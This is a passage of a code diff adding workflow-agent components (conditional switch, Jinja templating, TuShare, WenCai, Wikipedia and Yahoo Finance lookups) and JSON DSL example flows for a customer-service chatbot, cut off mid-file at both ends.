+                    cpn_input = "" if "content" not in out.columns else " ".join([str(s) for s in out["content"]])
+                    res.append(self.process_operator(cpn_input, item["operator"], item.get("value", "")))
+
+                if cond["logical_operator"] != "and" and any(res):
+                    return Switch.be_output(cond["to"])
+
+            if all(res):
+                return Switch.be_output(cond["to"])
+
+        return Switch.be_output(self._param.end_cpn_id)
+
+    def process_operator(self, input: str, operator: str, value: str) -> bool:
+        if not isinstance(input, str) or not isinstance(value, str):
+            raise ValueError('Invalid input or value type: string')
+
+        if operator == "contains":
+            return True if value.lower() in input.lower() else False
+        elif operator == "not contains":
+            return True if value.lower() not in input.lower() else False
+        elif operator == "start with":
+            return True if input.lower().startswith(value.lower()) else False
+        elif operator == "end with":
+            return True if input.lower().endswith(value.lower()) else False
+        elif operator == "empty":
+            return True if not input else False
+        elif operator == "not empty":
+            return True if input else False
+        elif operator == "=":
+            return True if input == value else False
+        elif operator == "≠":
+            return True if input != value else False
+        elif operator == ">":
+            try:
+                return True if float(input) > float(value) else False
+            except Exception:
+                return True if input > value else False
+        elif operator == "<":
+            try:
+                return True if float(input) < float(value) else False
+            except Exception:
+                return True if input < value else False
+        elif operator == "≥":
+            try:
+                return True if float(input) >= float(value) else False
+            except Exception:
+                return True if input >= value else False
+        elif operator == "≤":
+            try:
+                return True if float(input) <= float(value) else False
+            except Exception:
+                return True if input <= value else False
+
+        raise ValueError('Not supported operator' + operator)

agent/component/template.py

@@ -0,0 +1,136 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import json
+import re
+from agent.component.base import ComponentBase, ComponentParamBase
+from jinja2 import Template as Jinja2Template
+
+
+class TemplateParam(ComponentParamBase):
+    """
+    Define the Generate component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.content = ""
+        self.parameters = []
+
+    def check(self):
+        self.check_empty(self.content, "[Template] Content")
+        return True
+
+
+class Template(ComponentBase):
+    component_name = "Template"
+
+    def get_dependent_components(self):
+        inputs = self.get_input_elements()
+        cpnts = set([i["key"] for i in inputs if i["key"].lower().find("answer") < 0 and i["key"].lower().find("begin") < 0])
+        return list(cpnts)
+
+    def get_input_elements(self):
+        key_set = set([])
+        res = []
+        for r in re.finditer(r"\{([a-z]+[:@][a-z0-9_-]+)\}", self._param.content, flags=re.IGNORECASE):
+            cpn_id = r.group(1)
+            if cpn_id in key_set:
+                continue
+            if cpn_id.lower().find("begin@") == 0:
+                cpn_id, key = cpn_id.split("@")
+                for p in self._canvas.get_component(cpn_id)["obj"]._param.query:
+                    if p["key"] != key:
+                        continue
+                    res.append({"key": r.group(1), "name": p["name"]})
+                    key_set.add(r.group(1))
+                continue
+            cpn_nm = self._canvas.get_component_name(cpn_id)
+            if not cpn_nm:
+                continue
+            res.append({"key": cpn_id, "name": cpn_nm})
+            key_set.add(cpn_id)
+        return res
+
+    def _run(self, history, **kwargs):
+        content = self._param.content
+
+        self._param.inputs = []
+        for para in self.get_input_elements():
+            if para["key"].lower().find("begin@") == 0:
+                cpn_id, key = para["key"].split("@")
+                for p in self._canvas.get_component(cpn_id)["obj"]._param.query:
+                    if p["key"] == key:
+                        value = p.get("value", "")
+                        self.make_kwargs(para, kwargs, value)
+                        break
+                else:
+                    assert False, f"Can't find parameter '{key}' for {cpn_id}"
+                continue
+
+            component_id = para["key"]
+            cpn = self._canvas.get_component(component_id)["obj"]
+            if cpn.component_name.lower() == "answer":
+                hist = self._canvas.get_history(1)
+                if hist:
+                    hist = hist[0]["content"]
+                else:
+                    hist = ""
+                self.make_kwargs(para, kwargs, hist)
+                continue
+
+            _, out = cpn.output(allow_partial=False)
+
+            result = ""
+            if "content" in out.columns:
+                result = "\n".join(
+                    [o if isinstance(o, str) else str(o) for o in out["content"]]
+                )
+
+            self.make_kwargs(para, kwargs, result)
+
+        template = Jinja2Template(content)
+
+        try:
+            content = template.render(kwargs)
+        except Exception:
+            pass
+
+        for n, v in kwargs.items():
+            try:
+                v = json.dumps(v, ensure_ascii=False)
+            except Exception:
+                pass
+            content = re.sub(
+                r"\{%s\}" % re.escape(n), v, content
+            )
+            content = re.sub(
+                r"(\\\"|\")", "", content
+            )
+            content = re.sub(
+                r"(#+)", r" \1 ", content
+            )
+
+        return Template.be_output(content)
+
+    def make_kwargs(self, para, kwargs, value):
+        self._param.inputs.append(
+            {"component_id": para["key"], "content": value}
+        )
+        try:
+            value = json.loads(value)
+        except Exception:
+            pass
+        kwargs[para["key"]] = value

agent/component/tushare.py

@@ -0,0 +1,72 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import json
+from abc import ABC
+import pandas as pd
+import time
+import requests
+from agent.component.base import ComponentBase, ComponentParamBase
+
+
+class TuShareParam(ComponentParamBase):
+    """
+    Define the TuShare component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.token = "xxx"
+        self.src = "eastmoney"
+        self.start_date = "2024-01-01 09:00:00"
+        self.end_date = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
+        self.keyword = ""
+
+    def check(self):
+        self.check_valid_value(self.src, "Quick News Source",
+                               ["sina", "wallstreetcn", "10jqka", "eastmoney", "yuncaijing", "fenghuang", "jinrongjie"])
+
+
+class TuShare(ComponentBase, ABC):
+    component_name = "TuShare"
+
+    def _run(self, history, **kwargs):
+        ans = self.get_input()
+        ans = ",".join(ans["content"]) if "content" in ans else ""
+        if not ans:
+            return TuShare.be_output("")
+
+        try:
+            tus_res = []
+            params = {
+                "api_name": "news",
+                "token": self._param.token,
+                "params": {"src": self._param.src, "start_date": self._param.start_date,
+                           "end_date": self._param.end_date}
+            }
+            response = requests.post(url="http://api.tushare.pro", data=json.dumps(params).encode('utf-8'))
+            response = response.json()
+            if response['code'] != 0:
+                return TuShare.be_output(response['msg'])
+            df = pd.DataFrame(response['data']['items'])
+            df.columns = response['data']['fields']
+            tus_res.append({"content": (df[df['content'].str.contains(self._param.keyword, case=False)]).to_markdown()})
+        except Exception as e:
+            return TuShare.be_output("**ERROR**: " + str(e))
+
+        if not tus_res:
+            return TuShare.be_output("")
+
+        return pd.DataFrame(tus_res)

agent/component/wencai.py

@@ -0,0 +1,80 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+from abc import ABC
+import pandas as pd
+import pywencai
+from agent.component.base import ComponentBase, ComponentParamBase
+
+
+class WenCaiParam(ComponentParamBase):
+    """
+    Define the WenCai component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.top_n = 10
+        self.query_type = "stock"
+
+    def check(self):
+        self.check_positive_integer(self.top_n, "Top N")
+        self.check_valid_value(self.query_type, "Query type",
+                               ['stock', 'zhishu', 'fund', 'hkstock', 'usstock', 'threeboard', 'conbond', 'insurance',
+                                'futures', 'lccp',
+                                'foreign_exchange'])
+
+
+class WenCai(ComponentBase, ABC):
+    component_name = "WenCai"
+
+    def _run(self, history, **kwargs):
+        ans = self.get_input()
+        ans = ",".join(ans["content"]) if "content" in ans else ""
+        if not ans:
+            return WenCai.be_output("")
+
+        try:
+            wencai_res = []
+            res = pywencai.get(query=ans, query_type=self._param.query_type, perpage=self._param.top_n)
+            if isinstance(res, pd.DataFrame):
+                wencai_res.append({"content": res.to_markdown()})
+            if isinstance(res, dict):
+                for item in res.items():
+                    if isinstance(item[1], list):
+                        wencai_res.append({"content": item[0] + "\n" + pd.DataFrame(item[1]).to_markdown()})
+                        continue
+                    if isinstance(item[1], str):
+                        wencai_res.append({"content": item[0] + "\n" + item[1]})
+                        continue
+                    if isinstance(item[1], dict):
+                        if "meta" in item[1].keys():
+                            continue
+                        wencai_res.append({"content": pd.DataFrame.from_dict(item[1], orient='index').to_markdown()})
+                        continue
+                    if isinstance(item[1], pd.DataFrame):
+                        if "image_url" in item[1].columns:
+                            continue
+                        wencai_res.append({"content": item[1].to_markdown()})
+                        continue
+                        
+                    wencai_res.append({"content": item[0] + "\n" + str(item[1])})
+        except Exception as e:
+            return WenCai.be_output("**ERROR**: " + str(e))
+
+        if not wencai_res:
+            return WenCai.be_output("")
+
+        return pd.DataFrame(wencai_res)

agent/component/wikipedia.py

@@ -0,0 +1,67 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import logging
+from abc import ABC
+import wikipedia
+import pandas as pd
+from agent.component.base import ComponentBase, ComponentParamBase
+
+
+class WikipediaParam(ComponentParamBase):
+    """
+    Define the Wikipedia component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.top_n = 10
+        self.language = "en"
+
+    def check(self):
+        self.check_positive_integer(self.top_n, "Top N")
+        self.check_valid_value(self.language, "Wikipedia languages",
+                               ['af', 'pl', 'ar', 'ast', 'az', 'bg', 'nan', 'bn', 'be', 'ca', 'cs', 'cy', 'da', 'de',
+                                'et', 'el', 'en', 'es', 'eo', 'eu', 'fa', 'fr', 'gl', 'ko', 'hy', 'hi', 'hr', 'id',
+                                'it', 'he', 'ka', 'lld', 'la', 'lv', 'lt', 'hu', 'mk', 'arz', 'ms', 'min', 'my', 'nl',
+                                'ja', 'nb', 'nn', 'ce', 'uz', 'pt', 'kk', 'ro', 'ru', 'ceb', 'sk', 'sl', 'sr', 'sh',
+                                'fi', 'sv', 'ta', 'tt', 'th', 'tg', 'azb', 'tr', 'uk', 'ur', 'vi', 'war', 'zh', 'yue'])
+
+
+class Wikipedia(ComponentBase, ABC):
+    component_name = "Wikipedia"
+
+    def _run(self, history, **kwargs):
+        ans = self.get_input()
+        ans = " - ".join(ans["content"]) if "content" in ans else ""
+        if not ans:
+            return Wikipedia.be_output("")
+
+        try:
+            wiki_res = []
+            wikipedia.set_lang(self._param.language)
+            wiki_engine = wikipedia
+            for wiki_key in wiki_engine.search(ans, results=self._param.top_n):
+                page = wiki_engine.page(title=wiki_key, auto_suggest=False)
+                wiki_res.append({"content": '<a href="' + page.url + '">' + page.title + '</a> ' + page.summary})
+        except Exception as e:
+            return Wikipedia.be_output("**ERROR**: " + str(e))
+
+        if not wiki_res:
+            return Wikipedia.be_output("")
+
+        df = pd.DataFrame(wiki_res)
+        logging.debug(f"df: {df}")
+        return df

agent/component/yahoofinance.py

@@ -0,0 +1,84 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import logging
+from abc import ABC
+import pandas as pd
+from agent.component.base import ComponentBase, ComponentParamBase
+import yfinance as yf
+
+
+class YahooFinanceParam(ComponentParamBase):
+    """
+    Define the YahooFinance component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.info = True
+        self.history = False
+        self.count = False
+        self.financials = False
+        self.income_stmt = False
+        self.balance_sheet = False
+        self.cash_flow_statement = False
+        self.news = True
+
+    def check(self):
+        self.check_boolean(self.info, "get all stock info")
+        self.check_boolean(self.history, "get historical market data")
+        self.check_boolean(self.count, "show share count")
+        self.check_boolean(self.financials, "show financials")
+        self.check_boolean(self.income_stmt, "income statement")
+        self.check_boolean(self.balance_sheet, "balance sheet")
+        self.check_boolean(self.cash_flow_statement, "cash flow statement")
+        self.check_boolean(self.news, "show news")
+
+
+class YahooFinance(ComponentBase, ABC):
+    component_name = "YahooFinance"
+
+    def _run(self, history, **kwargs):
+        ans = self.get_input()
+        ans = "".join(ans["content"]) if "content" in ans else ""
+        if not ans:
+            return YahooFinance.be_output("")
+
+        yohoo_res = []
+        try:
+            msft = yf.Ticker(ans)
+            if self._param.info:
+                yohoo_res.append({"content": "info:\n" + pd.Series(msft.info).to_markdown() + "\n"})
+            if self._param.history:
+                yohoo_res.append({"content": "history:\n" + msft.history().to_markdown() + "\n"})
+            if self._param.financials:
+                yohoo_res.append({"content": "calendar:\n" + pd.DataFrame(msft.calendar).to_markdown() + "\n"})
+            if self._param.balance_sheet:
+                yohoo_res.append({"content": "balance sheet:\n" + msft.balance_sheet.to_markdown() + "\n"})
+                yohoo_res.append(
+                    {"content": "quarterly balance sheet:\n" + msft.quarterly_balance_sheet.to_markdown() + "\n"})
+            if self._param.cash_flow_statement:
+                yohoo_res.append({"content": "cash flow statement:\n" + msft.cashflow.to_markdown() + "\n"})
+                yohoo_res.append(
+                    {"content": "quarterly cash flow statement:\n" + msft.quarterly_cashflow.to_markdown() + "\n"})
+            if self._param.news:
+                yohoo_res.append({"content": "news:\n" + pd.DataFrame(msft.news).to_markdown() + "\n"})
+        except Exception:
+            logging.exception("YahooFinance got exception")
+
+        if not yohoo_res:
+            return YahooFinance.be_output("")
+
+        return pd.DataFrame(yohoo_res)

agent/settings.py

@@ -0,0 +1,18 @@
+#
+#  Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+
+FLOAT_ZERO = 1e-8
+PARAM_MAXDEPTH = 5

agent/test/client.py

@@ -0,0 +1,49 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import argparse
+import os
+from functools import partial
+from agent.canvas import Canvas
+from agent.settings import DEBUG
+
+if __name__ == '__main__':
+    parser = argparse.ArgumentParser()
+    dsl_default_path = os.path.join(
+        os.path.dirname(os.path.realpath(__file__)),
+        "dsl_examples",
+        "retrieval_and_generate.json",
+    )
+    parser.add_argument('-s', '--dsl', default=dsl_default_path, help="input dsl", action='store', required=True)
+    parser.add_argument('-t', '--tenant_id', default=False, help="Tenant ID", action='store', required=True)
+    parser.add_argument('-m', '--stream', default=False, help="Stream output", action='store_true', required=False)
+    args = parser.parse_args()
+
+    canvas = Canvas(open(args.dsl, "r").read(), args.tenant_id)
+    while True:
+        ans = canvas.run(stream=args.stream)
+        print("==================== Bot =====================\n>    ", end='')
+        if args.stream and isinstance(ans, partial):
+            cont = ""
+            for an in ans():
+                print(an["content"][len(cont):], end='', flush=True)
+                cont = an["content"]
+        else:
+            print(ans["content"])
+
+        if DEBUG:
+            print(canvas.path)
+        question = input("\n==================== User =====================\n> ")
+        canvas.add_user_input(question)

agent/test/dsl_examples/baidu_generate_and_switch.json

@@ -0,0 +1,129 @@
+{
+  "components": {
+            "begin": {
+                "obj":{
+                    "component_name": "Begin",
+                    "params": {
+                      "prologue": "Hi there!"
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": []
+            },
+            "answer:0": {
+                "obj": {
+                    "component_name": "Answer",
+                    "params": {}
+                },
+                "downstream": ["baidu:0"],
+                "upstream": ["begin", "message:0","message:1"]
+            },
+            "baidu:0": {
+                "obj": {
+                    "component_name": "Baidu",
+                    "params": {}
+                },
+                "downstream": ["generate:0"],
+                "upstream": ["answer:0"]
+            },
+            "generate:0": {
+                "obj": {
+                    "component_name": "Generate",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+		              "prompt": "You are an intelligent assistant. Please answer the user's question based on what Baidu searched. First, please output the user's question and the content searched by Baidu, and then answer yes, no, or i don't know.Here is the user's question:{user_input}The above is the user's question.Here is what Baidu searched for:{baidu}The above is the content searched by Baidu.",
+                      "temperature": 0.2
+                    },
+                    "parameters": [
+                                      {
+                                          "component_id": "answer:0",
+                                          "id": "69415446-49bf-4d4b-8ec9-ac86066f7709",
+                                          "key": "user_input"
+                                      },
+                                      {
+                                          "component_id": "baidu:0",
+                                          "id": "83363c2a-00a8-402f-a45c-ddc4097d7d8b",
+                                          "key": "baidu"
+                                      }
+                                  ]
+                        },
+                "downstream": ["switch:0"],
+                "upstream": ["baidu:0"]
+            },
+            "switch:0": {
+                "obj": {
+                    "component_name": "Switch",
+                    "params": {
+                      "conditions": [
+                                        {
+                                            "logical_operator" : "or",
+                                            "items" : [
+                                                          {"cpn_id": "generate:0", "operator": "contains", "value": "yes"},
+                                                          {"cpn_id": "generate:0", "operator": "contains", "value": "yeah"}
+                                                      ],
+                                             "to": "message:0"
+                                        },
+                                        {
+                                            "logical_operator" : "and",
+                                            "items" : [
+                                                          {"cpn_id": "generate:0", "operator": "contains", "value": "no"},
+                                                          {"cpn_id": "generate:0", "operator": "not contains", "value": "yes"},
+							  {"cpn_id": "generate:0", "operator": "not contains", "value": "know"}
+                                                      ],
+                                            "to": "message:1"
+                                        },
+                                        {
+                                            "logical_operator" : "",
+                                            "items" : [
+                                                          {"cpn_id": "generate:0", "operator": "contains", "value": "know"}
+                                                      ],
+                                             "to": "message:2"
+                                        }
+                                    ],
+                      "end_cpn_id": "answer:0"
+
+                    }
+                },
+                "downstream": ["message:0","message:1"],
+                "upstream": ["generate:0"]
+            },
+            "message:0": {
+                "obj": {
+                    "component_name": "Message",
+                    "params": {
+                        "messages": ["YES YES YES YES YES YES YES YES YES YES YES YES"]
+                    }
+                },
+
+                "upstream": ["switch:0"],
+                "downstream": ["answer:0"]
+            },
+            "message:1": {
+                "obj": {
+                    "component_name": "Message",
+                    "params": {
+                        "messages": ["NO NO NO NO NO NO NO NO NO NO NO NO NO NO"]
+                    }
+                },
+
+                "upstream": ["switch:0"],
+                "downstream": ["answer:0"]
+            },
+            "message:2": {
+                "obj": {
+                    "component_name": "Message",
+                    "params": {
+                        "messages": ["I DON'T KNOW---------------------------"]
+                    }
+                },
+
+                "upstream": ["switch:0"],
+                "downstream": ["answer:0"]
+            }
+  },
+  "history": [],
+  "messages": [],
+  "reference": {},
+  "path": [],
+  "answer": []
+}

agent/test/dsl_examples/categorize.json

@@ -0,0 +1,73 @@
+{
+  "components": {
+            "begin": {
+                "obj":{
+                    "component_name": "Begin",
+                    "params": {
+                      "prologue": "Hi there!"
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": []
+            },
+            "answer:0": {
+                "obj": {
+                    "component_name": "Answer",
+                    "params": {}
+                },
+                "downstream": ["categorize:0"],
+                "upstream": ["begin"]
+            },
+            "categorize:0": {
+                "obj": {
+                    "component_name": "Categorize",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "category_description": {
+                        "product_related": {
+                          "description": "The question is about the product usage, appearance and how it works.",
+                          "examples": "Why it always beaming?\nHow to install it onto the wall?\nIt leaks, what to do?",
+                          "to": "message:0"
+                        },
+                        "others": {
+                          "description": "The question is not about the product usage, appearance and how it works.",
+                          "examples": "How are you doing?\nWhat is your name?\nAre you a robot?\nWhat's the weather?\nWill it rain?",
+                          "to": "message:1"
+                        }
+                      }
+                    }
+                },
+                "downstream": ["message:0","message:1"],
+                "upstream": ["answer:0"]
+            },
+            "message:0": {
+                "obj": {
+                    "component_name": "Message",
+                    "params": {
+                      "messages": [
+                        "Message 0!!!!!!!"
+                      ]
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": ["categorize:0"]
+            },
+            "message:1": {
+                "obj": {
+                    "component_name": "Message",
+                    "params": {
+                      "messages": [
+                        "Message 1!!!!!!!"
+                      ]
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": ["categorize:0"]
+            }
+  },
+  "history": [],
+  "messages": [],
+  "path": [],
+  "reference": [],
+  "answer": []
+}

agent/test/dsl_examples/concentrator_message.json

@@ -0,0 +1,113 @@
+{
+  "components": {
+            "begin": {
+                "obj":{
+                    "component_name": "Begin",
+                    "params": {
+                      "prologue": "Hi there!"
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": []
+            },
+            "answer:0": {
+                "obj": {
+                    "component_name": "Answer",
+                    "params": {}
+                },
+                "downstream": ["categorize:0"],
+                "upstream": ["begin"]
+            },
+            "categorize:0": {
+                "obj": {
+                    "component_name": "Categorize",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "category_description": {
+                        "product_related": {
+                          "description": "The question is about the product usage, appearance and how it works.",
+                          "examples": "Why it always beaming?\nHow to install it onto the wall?\nIt leaks, what to do?",
+                          "to": "concentrator:0"
+                        },
+                        "others": {
+                          "description": "The question is not about the product usage, appearance and how it works.",
+                          "examples": "How are you doing?\nWhat is your name?\nAre you a robot?\nWhat's the weather?\nWill it rain?",
+                          "to": "concentrator:1"
+                        }
+                      }
+                    }
+                },
+                "downstream": ["concentrator:0","concentrator:1"],
+                "upstream": ["answer:0"]
+            },
+            "concentrator:0": {
+                "obj": {
+                    "component_name": "Concentrator",
+                    "params": {}
+                },
+                "downstream": ["message:0"],
+                "upstream": ["categorize:0"]
+            },
+            "concentrator:1": {
+                "obj": {
+                    "component_name": "Concentrator",
+                    "params": {}
+                },
+                "downstream": ["message:1_0","message:1_1","message:1_2"],
+                "upstream": ["categorize:0"]
+            },
+            "message:0": {
+                "obj": {
+                    "component_name": "Message",
+                    "params": {
+                      "messages": [
+                        "Message 0_0!!!!!!!"
+                      ]
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": ["concentrator:0"]
+            },
+            "message:1_0": {
+                "obj": {
+                    "component_name": "Message",
+                    "params": {
+                      "messages": [
+                        "Message 1_0!!!!!!!"
+                      ]
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": ["concentrator:1"]
+            },
+            "message:1_1": {
+                "obj": {
+                    "component_name": "Message",
+                    "params": {
+                      "messages": [
+                        "Message 1_1!!!!!!!"
+                      ]
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": ["concentrator:1"]
+            },
+            "message:1_2": {
+                "obj": {
+                    "component_name": "Message",
+                    "params": {
+                      "messages": [
+                        "Message 1_2!!!!!!!"
+                      ]
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": ["concentrator:1"]
+            }
+  },
+  "history": [],
+  "messages": [],
+  "path": [],
+  "reference": [],
+  "answer": []
+}

agent/test/dsl_examples/customer_service.json

@@ -0,0 +1,157 @@
+{
+  "components": {
+            "begin": {
+                "obj":{
+                    "component_name": "Begin",
+                    "params": {
+                      "prologue": "Hi! How can I help you?"
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": []
+            },
+            "answer:0": {
+                "obj": {
+                    "component_name": "Answer",
+                    "params": {}
+                },
+                "downstream": ["categorize:0"],
+                "upstream": ["begin", "generate:0", "generate:casual", "generate:answer", "generate:complain", "generate:ask_contact", "message:get_contact"]
+            },
+            "categorize:0": {
+                "obj": {
+                    "component_name": "Categorize",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "category_description": {
+                        "product_related": {
+                          "description": "The question is about the product usage, appearance and how it works.",
+                          "examples": "Why it always beaming?\nHow to install it onto the wall?\nIt leaks, what to do?\nException: Can't connect to ES cluster\nHow to build the RAGFlow image from scratch",
+                          "to": "retrieval:0"
+                        },
+                        "casual": {
+                          "description": "The question is not about the product usage, appearance and how it works. Just casual chat.",
+                          "examples": "How are you doing?\nWhat is your name?\nAre you a robot?\nWhat's the weather?\nWill it rain?",
+                          "to": "generate:casual"
+                        },
+                        "complain": {
+                          "description": "Complain even curse about the product or service you provide. But the comment is not specific enough.",
+                          "examples": "How bad is it.\nIt's really sucks.\nDamn, for God's sake, can it be more steady?\nShit, I just can't use this shit.\nI can't stand it anymore.",
+                          "to": "generate:complain"
+                        },
+                        "answer": {
+                          "description": "This answer provide a specific contact information, like e-mail, phone number, wechat number, line number, twitter, discord, etc,.",
+                          "examples": "My phone number is 203921\nkevinhu.hk@gmail.com\nThis is my discord number: johndowson_29384",
+                          "to": "message:get_contact"
+                        }
+                      },
+                      "message_history_window_size": 8
+                    }
+                },
+                "downstream": ["retrieval:0", "generate:casual", "generate:complain", "message:get_contact"],
+                "upstream": ["answer:0"]
+            },
+            "generate:casual": {
+                "obj": {
+                    "component_name": "Generate",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "prompt": "You are a customer support. But the customer wants to have a casual chat with you instead of consulting about the product. Be nice, funny, enthusiasm and concern.",
+                      "temperature": 0.9,
+                      "message_history_window_size": 12,
+                      "cite": false
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": ["categorize:0"]
+            },
+            "generate:complain": {
+                "obj": {
+                    "component_name": "Generate",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "prompt": "You are a customer support. the Customers complain even curse about the products but not specific enough. You need to ask him/her what's the specific problem with the product. Be nice, patient and concern to soothe your customers’ emotions at first place.",
+                      "temperature": 0.9,
+                      "message_history_window_size": 12,
+                      "cite": false
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": ["categorize:0"]
+            },
+            "retrieval:0": {
+                "obj": {
+                    "component_name": "Retrieval",
+                    "params": {
+                      "similarity_threshold": 0.2,
+                      "keywords_similarity_weight": 0.3,
+                      "top_n": 6,
+                      "top_k": 1024,
+                      "rerank_id": "BAAI/bge-reranker-v2-m3",
+                      "kb_ids": ["869a236818b811ef91dffa163e197198"]
+                    }
+                },
+                "downstream": ["relevant:0"],
+                "upstream": ["categorize:0"]
+            },
+            "relevant:0": {
+                "obj": {
+                    "component_name": "Relevant",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "temperature": 0.02,
+                      "yes": "generate:answer",
+                      "no": "generate:ask_contact"
+                    }
+                },
+                "downstream": ["generate:answer", "generate:ask_contact"],
+                "upstream": ["retrieval:0"]
+            },
+            "generate:answer": {
+                "obj": {
+                    "component_name": "Generate",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "prompt": "You are an intelligent assistant. Please answer the question based on content of knowledge base. When all knowledge base content is irrelevant to the question, your answer must include the sentence \"The answer you are looking for is not found in the knowledge base!\". Answers need to consider chat history.\n      Knowledge base content is as following:\n      {input}\n      The above is the content of knowledge base.",
+                      "temperature": 0.02
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": ["relevant:0"]
+            },
+            "generate:ask_contact": {
+                "obj": {
+                    "component_name": "Generate",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "prompt": "You are a customer support. But you can't answer to customers' question. You need to request their contact like E-mail, phone number, Wechat number, LINE number, twitter, discord, etc,. Product experts will contact them later. Please do not ask the same question twice.",
+                      "temperature": 0.9,
+                      "message_history_window_size": 12,
+                      "cite": false
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": ["relevant:0"]
+            },
+            "message:get_contact": {
+                "obj":{
+                    "component_name": "Message",
+                    "params": {
+                      "messages": [
+                        "Okay, I've already write this down. What else I can do for you?",
+                        "Get it. What else I can do for you?",
+                        "Thanks for your trust! Our expert will contact ASAP. So, anything else I can do for you?",
+                        "Thanks! So, anything else I can do for you?"
+                      ]
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": ["categorize:0"]
+            }
+  },
+  "history": [],
+  "messages": [],
+  "path": [],
+  "reference": [],
+  "answer": []
+}

agent/test/dsl_examples/exesql.json

@@ -0,0 +1,43 @@
+{
+  "components": {
+            "begin": {
+                "obj":{
+                    "component_name": "Begin",
+                    "params": {
+                      "prologue": "Hi there!"
+                    }
+                },
+                "downstream": ["answer:0"],
+                "upstream": []
+            },
+            "answer:0": {
+                "obj": {
+                    "component_name": "Answer",
+                    "params": {}
+                },
+                "downstream": ["exesql:0"],
+                "upstream": ["begin", "exesql:0"]
+            },
+            "exesql:0": {
+                "obj": {
